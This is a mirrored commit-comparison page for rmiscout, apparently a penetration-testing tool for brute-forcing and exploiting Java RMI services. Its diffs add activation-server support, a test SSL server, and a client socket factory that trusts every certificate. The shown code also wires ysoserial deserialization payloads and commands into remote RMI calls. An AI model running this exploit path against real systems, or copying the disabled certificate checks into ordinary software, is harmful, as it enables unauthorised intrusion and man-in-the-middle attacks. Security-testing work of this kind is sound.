mirror of
https://github.com/BishopFox/rmiscout.git
synced 2026-11-10 17:09:02 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
cdcf928817 | ||
|
|
96517c45de | ||
|
|
4e8d985bf9 | ||
|
|
bf05aa1709 | ||
|
|
f2ea8cb5f5 | ||
|
|
831d81bff1 |
No files matched your search
@@ -0,0 +1,6 @@
|
||||
FROM openjdk:8
|
||||
COPY . /rmiscout
|
||||
WORKDIR /rmiscout
|
||||
RUN ./gradlew shadowJar
|
||||
ENTRYPOINT ["./rmiscout.sh"]
|
||||
CMD ["-h"]
|
||||
@@ -51,7 +51,7 @@ Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscou
|
||||
|
||||
```
|
||||
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
|
||||
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
|
||||
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
|
||||
|
||||
# Bruteforce using method wordlist and other options
|
||||
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
|
||||
@@ -68,7 +68,7 @@ Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscou
|
||||
|
||||
Use the included `rmiscout.sh` script to automatically build the project and as a convenient wrapper around `java -jar` syntax:
|
||||
```bash
|
||||
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
|
||||
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
|
||||
```
|
||||
|
||||
Alternatively, build the project manually and use traditional `java -jar` syntax:
|
||||
@@ -77,7 +77,7 @@ Alternatively, build the project manually and use traditional `java -jar` syntax
|
||||
# Manually build JAR
|
||||
./gradlew shadowJar
|
||||
|
||||
java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar wordlist -i prototypes.txt <host> <port>
|
||||
java -jar build/libs/rmiscout-1.02-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
|
||||
```
|
||||
|
||||
|
||||
|
||||
+1
-1
@@ -5,7 +5,7 @@ plugins {
|
||||
}
|
||||
|
||||
group 'com.bishopfox.rmiscout'
|
||||
version '1.0-SNAPSHOT'
|
||||
version '1.02-SNAPSHOT'
|
||||
|
||||
mainClassName = 'com.bishopfox.rmiscout.RMIScout'
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.RemoteException;
|
||||
import java.util.*;
|
||||
@@ -0,0 +1,59 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.RMISecurityManager;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
import java.util.*;
|
||||
import javax.rmi.ssl.SslRMIClientSocketFactory;
|
||||
import javax.rmi.ssl.SslRMIServerSocketFactory;
|
||||
|
||||
public class SSLServer implements Hello {
|
||||
|
||||
public SSLServer() {}
|
||||
|
||||
public String sayHello() { return "Remote Executed!"; }
|
||||
public String restart() { return "Remote Executed!"; }
|
||||
public boolean login(String email, String password) { return true; }
|
||||
public String sayHello(String name) { return "Remote Executed!"; }
|
||||
public String sayNumber(int name) { return "Remote Executed!"; }
|
||||
public String sayTest1(int name) { return "Remote Executed!"; }
|
||||
public String sayTest2(byte name) { return "Remote Executed!"; }
|
||||
public String sayTest3(short name) { return "Remote Executed!"; }
|
||||
public String sayTest4(long name) { return "Remote Executed!"; }
|
||||
public String sayTest5(char name) { return "Remote Executed!"; }
|
||||
public String sayTest6(boolean name) { return "Remote Executed!"; }
|
||||
public String sayTest7(float name) { return "Remote Executed!"; }
|
||||
public String sayTest8(double name) { return "Remote Executed!"; }
|
||||
public String sayTest9(Map name) { return "Remote Executed!"; }
|
||||
public String sayTest10(HashMap name) { return "Remote Executed!"; }
|
||||
public String sayTest11(List name) { return "Remote Executed!"; }
|
||||
public String sayTest12(Object name) { return "Remote Executed!"; }
|
||||
public ArrayList<String> say2things(String name, int test) { return new ArrayList<String>(); }
|
||||
|
||||
public static void main(String args[]) {
|
||||
// Create and install a security manager
|
||||
if (System.getSecurityManager() == null) {
|
||||
System.setSecurityManager(new RMISecurityManager());
|
||||
}
|
||||
|
||||
try {
|
||||
Server obj = new Server();
|
||||
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);
|
||||
|
||||
//Registry registry = LocateRegistry.getRegistry();
|
||||
|
||||
// Create SSL-based registry
|
||||
Registry registry = LocateRegistry.createRegistry(1099,
|
||||
new SslRMIClientSocketFactory(),
|
||||
new SslRMIServerSocketFactory());
|
||||
registry.bind("thisisatest", stub);
|
||||
|
||||
System.err.println("Server ready");
|
||||
} catch (Exception e) {
|
||||
System.err.println("Server exception: " + e.toString());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.RemoteException;
|
||||
@@ -34,7 +36,7 @@ public class Server implements Hello {
|
||||
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry();
|
||||
registry.bind("Hello", stub);
|
||||
registry.bind("thisisatest", stub);
|
||||
|
||||
System.err.println("Server ready");
|
||||
} catch (Exception e) {
|
||||
@@ -0,0 +1,4 @@
|
||||
grant {
|
||||
permission java.net.SocketPermission "*", "accept,resolve";
|
||||
};
|
||||
|
||||
Binary file not shown.
+15
-5
@@ -1,7 +1,17 @@
|
||||
#!/bin/bash
|
||||
|
||||
rmiregistry &
|
||||
PID=$!
|
||||
|
||||
javac *.java && java -classpath ./ -Djava.rmi.server.codebase=file:$PWD Server
|
||||
kill $PID
|
||||
javac com/bishopfox/example/*.java
|
||||
if [ "$1" ]; then
|
||||
echo "Starting SSL Server"
|
||||
rmic -d . com.bishopfox.example.SSLServer
|
||||
java -classpath ./ -Djava.rmi.server.codebase=file:$PWD \
|
||||
-Djava.security.policy=resources/policy \
|
||||
-Djavax.net.ssl.keyStore=resources/selfsigned.jks \
|
||||
-Djavax.net.ssl.keyStorePassword=test123 \
|
||||
com.bishopfox.example.SSLServer
|
||||
else
|
||||
rmiregistry &
|
||||
PID=$!
|
||||
java -classpath ./ -Djava.rmi.server.codebase=file:$PWD com.bishopfox.example.Server
|
||||
kill $PID
|
||||
fi
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [[ ! -f build/libs/rmiscout-1.0-SNAPSHOT-all.jar ]]; then
|
||||
if [[ ! -f build/libs/rmiscout-1.02-SNAPSHOT-all.jar ]]; then
|
||||
./gradlew shadowJar
|
||||
fi
|
||||
java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar "$@"
|
||||
java -jar build/libs/rmiscout-1.02-SNAPSHOT-all.jar "$@"
|
||||
@@ -5,12 +5,17 @@ import javassist.bytecode.DuplicateMemberException;
|
||||
import sun.misc.Unsafe;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.*;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.*;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.rmi.server.RemoteStub;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.*;
|
||||
|
||||
@@ -23,6 +28,7 @@ public class RMIConnector {
|
||||
private boolean allowUnsafe;
|
||||
private Class dummyClass;
|
||||
private static final int parameterTypesOffset = 52;
|
||||
private boolean isActivationServer;
|
||||
|
||||
|
||||
private static class Colors {
|
||||
@@ -48,11 +54,26 @@ public class RMIConnector {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe) {
|
||||
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
|
||||
try {
|
||||
this.allowUnsafe = allowUnsafe;
|
||||
this.registry = LocateRegistry.getRegistry(host, port);
|
||||
this.isActivationServer = isActivationServer;
|
||||
String[] regNames = null;
|
||||
|
||||
try {
|
||||
// Attempt a standard cleartext connection
|
||||
this.registry = LocateRegistry.getRegistry(host, port);
|
||||
regNames = registry.list();
|
||||
} catch (ConnectIOException ce) {
|
||||
// Fallback to an insecure (all-trust) SSL Connection
|
||||
this.registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
|
||||
regNames = registry.list();
|
||||
}
|
||||
|
||||
|
||||
this.remoteRefs = new HashMap<>();
|
||||
|
||||
// Switch to custom classloader
|
||||
@@ -65,28 +86,73 @@ public class RMIConnector {
|
||||
|
||||
generateDummyClass(defaultClassPool);
|
||||
CtClass remoteInterface = defaultClassPool.getCtClass(Remote.class.getName());
|
||||
String[] regNames;
|
||||
|
||||
// If remoteName is not specificied create a list of all remotes
|
||||
if (remoteName != null) {
|
||||
regNames = new String[]{remoteName};
|
||||
} else {
|
||||
regNames = registry.list();
|
||||
}
|
||||
|
||||
// For each registry create interface bound with test methods
|
||||
for (String regName : regNames) {
|
||||
CtClass nInterface = defaultClassPool.makeInterface(regName, remoteInterface);
|
||||
|
||||
// Get remote interface name from exception
|
||||
String interfaceName = "";
|
||||
try {
|
||||
registry.lookup(regName);
|
||||
} catch (UnmarshalException e) {
|
||||
if (e.detail instanceof ClassNotFoundException) {
|
||||
interfaceName = e.detail.getMessage().split(" ")[0];
|
||||
} else {
|
||||
System.err.println("Error retrieving remote interface className for name '" + regName + "'");
|
||||
System.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
String stubName = "DefaultStub";
|
||||
if (isActivationServer) {
|
||||
if (!interfaceName.isEmpty()) {
|
||||
stubName = interfaceName;
|
||||
}
|
||||
interfaceName = "ActivationStub";
|
||||
}
|
||||
|
||||
CtClass nInterface = defaultClassPool.makeInterface(interfaceName, remoteInterface);
|
||||
generateStubs(nInterface, signatures);
|
||||
|
||||
if (isActivationServer) {
|
||||
// Example ActivationStub
|
||||
//
|
||||
// All stubs have same hardcoded serialVersionUID = 2; https://bugs.openjdk.java.net/browse/JDK-4066716
|
||||
//
|
||||
// public class MyClass_Stub extends RemoteStub implements Remote
|
||||
// {
|
||||
// private static final long serialVersionUID = 2L;
|
||||
// }
|
||||
|
||||
CtClass activationStub = defaultClassPool.makeClass(stubName, defaultClassPool.getCtClass(RemoteStub.class.getName()));
|
||||
activationStub.setInterfaces(new CtClass[]{nInterface});
|
||||
|
||||
CtField f = new CtField(CtPrimitiveType.longType, "serialVersionUID", activationStub);
|
||||
f.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
|
||||
activationStub.addField(f, CtField.Initializer.constant(2L));
|
||||
activationStub.toClass(customClassLoader);
|
||||
}
|
||||
|
||||
originalClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
|
||||
Thread.currentThread().setContextClassLoader(customClassLoader);
|
||||
this.remoteRefs.put(regName, registry.lookup(regName));
|
||||
|
||||
this.remoteRefs.put(interfaceName, registry.lookup(regName));
|
||||
|
||||
|
||||
}
|
||||
|
||||
} catch (RemoteException e) {
|
||||
System.err.println(e.getMessage());
|
||||
if (e.getMessage().contains("class invalid for deserialization")) {
|
||||
System.err.println("RMI Activation Server detected. Re-run with --activation-server");
|
||||
} else {
|
||||
System.err.println(e.getMessage());
|
||||
}
|
||||
System.exit(1);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -117,6 +183,7 @@ public class RMIConnector {
|
||||
System.out.println("Duplicate prototype: " + newmethod);
|
||||
}
|
||||
}
|
||||
|
||||
ctclass.toClass(customClassLoader);
|
||||
} catch (CannotCompileException ce ) {
|
||||
if (ce.getReason().contains(ctclass.getSimpleName())) {
|
||||
@@ -230,9 +297,19 @@ public class RMIConnector {
|
||||
Arrays.fill(fakeParameterTypes, payload.getClass());
|
||||
|
||||
// Bypass internal call flow for custom params
|
||||
Field f = Proxy.class.getDeclaredField("h");
|
||||
f.setAccessible(true);
|
||||
RemoteObjectInvocationHandler ref = (RemoteObjectInvocationHandler) f.get(stub);
|
||||
RemoteRef ref = null;
|
||||
if (this.isActivationServer) {
|
||||
Field f = RemoteObject.class.getDeclaredField("ref");
|
||||
f.setAccessible(true);
|
||||
ref = (RemoteRef) f.get(stub);
|
||||
} else {
|
||||
Field f = Proxy.class.getDeclaredField("h");
|
||||
f.setAccessible(true);
|
||||
ref = ((RemoteObjectInvocationHandler) f.get(stub)).getRef();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// Calculate MethodHash
|
||||
Method m = RemoteObjectInvocationHandler.class.getDeclaredMethod("getMethodHash", Method.class);
|
||||
@@ -254,7 +331,7 @@ public class RMIConnector {
|
||||
}
|
||||
|
||||
// Invoke remote method
|
||||
Object response = ref.getRef().invoke(stub, me, params, methodHash);
|
||||
Object response = ref.invoke(stub, me, params, methodHash);
|
||||
|
||||
// This next line should only occur when allowUnsafe or when launching exploits
|
||||
System.out.println("Executed Payload: " + methodSignature);
|
||||
@@ -306,6 +383,10 @@ public class RMIConnector {
|
||||
try {
|
||||
CtClass ctClass = defaultClassPool.getCtClass(registryName);
|
||||
ctClass.detach();
|
||||
|
||||
if (this.isActivationServer) {
|
||||
defaultClassPool.getCtClass(pair.getValue().getClass().getName()).detach();
|
||||
}
|
||||
} catch (NotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.rmi.server.*;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import javax.net.ssl.*;
|
||||
|
||||
public class RMISSLClientSocketFactory implements RMIClientSocketFactory, Serializable {
|
||||
|
||||
private SSLContext allTrustingSSLContext;
|
||||
|
||||
public RMISSLClientSocketFactory() {
|
||||
try {
|
||||
// Create a trust manager that does not validate certificate chains
|
||||
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] certs,
|
||||
String authType) {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] certs,
|
||||
String authType) {
|
||||
}
|
||||
} };
|
||||
|
||||
allTrustingSSLContext = SSLContext.getInstance("SSL");
|
||||
allTrustingSSLContext.init(null, trustAllCerts, new java.security.SecureRandom());
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
} catch (KeyManagementException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Socket createSocket(String host, int port) throws IOException {
|
||||
SSLSocketFactory factory = (SSLSocketFactory) allTrustingSSLContext.getSocketFactory();
|
||||
SSLSocket socket = (SSLSocket)factory.createSocket(host, port);
|
||||
return socket;
|
||||
}
|
||||
}
|
||||
@@ -90,11 +90,14 @@ public class RMIScout {
|
||||
|
||||
wordlistMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of function prototypes");
|
||||
wordlistMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
|
||||
wordlistMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
|
||||
wordlistMode.addArgument("-n", "--registry-name").help(registryHelp);
|
||||
wordlistMode.addArgument("host").help(hostHelp);
|
||||
wordlistMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
|
||||
bruteforceMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of candidate method names");
|
||||
bruteforceMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
|
||||
bruteforceMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
|
||||
bruteforceMode.addArgument("-r", "--return-types").required(true).help("Set of candidate return types");
|
||||
bruteforceMode.addArgument("-p", "--parameter-types").required(true).help("Set of candidate parameter types");
|
||||
bruteforceMode.addArgument("-l", "--parameter-length").required(true).help("Candidate parameter length range expressed as a comma-delimited range EX: 1,4");
|
||||
@@ -128,7 +131,7 @@ public class RMIScout {
|
||||
// Split by types
|
||||
HashMap<String, ArrayList<String>> sigMap = readFileToMap(ns.get("input"));
|
||||
for (Map.Entry<String, ArrayList<String>> entry : sigMap.entrySet()) {
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"));
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"), ns.get("activation_server"));
|
||||
}
|
||||
break;
|
||||
case "bruteforce":
|
||||
@@ -150,7 +153,7 @@ public class RMIScout {
|
||||
// Java Interfaces disallow different return types for otherwise identical prototypes
|
||||
for (int i = 0; i < returnTypes.length; i++) {
|
||||
signatures = generateMethods(ns.get("input"), returnTypes[i], paramRange, paramTypes);
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, ns.get("allow_unsafe"), ns.get("activation_server"));
|
||||
}
|
||||
break;
|
||||
case "exploit":
|
||||
@@ -158,7 +161,7 @@ public class RMIScout {
|
||||
signatures = new ArrayList<>();
|
||||
signatures.add(ns.get("signature"));
|
||||
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
|
||||
rmisearch.exploit(ns.get("payload"), ns.get("command"));
|
||||
rmisearch.cleanup();
|
||||
break;
|
||||
@@ -171,7 +174,7 @@ public class RMIScout {
|
||||
GadgetProbe gp = new GadgetProbe(ns.get("dns_endpoint"));
|
||||
List<String> classnames = readFileToList(ns.get("input"));
|
||||
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
|
||||
for (String classname : classnames) {
|
||||
rmisearch.execute(gp.getObject(classname));
|
||||
}
|
||||
@@ -184,13 +187,13 @@ public class RMIScout {
|
||||
}
|
||||
}
|
||||
|
||||
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe) {
|
||||
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
|
||||
// Perform batches of 1,000 dynamic methods to not exceed codesize limit of Proxy interface
|
||||
final int batch_size = 1000;
|
||||
for (int i = 0; i < (signatures.size()/batch_size)+1; i++) {
|
||||
int lower = i*batch_size;
|
||||
int upper = Integer.min(signatures.size(), (i+1)*batch_size);
|
||||
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe);
|
||||
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe, isActivationServer);
|
||||
rmisearch.checkIfPresent();
|
||||
rmisearch.cleanup();
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user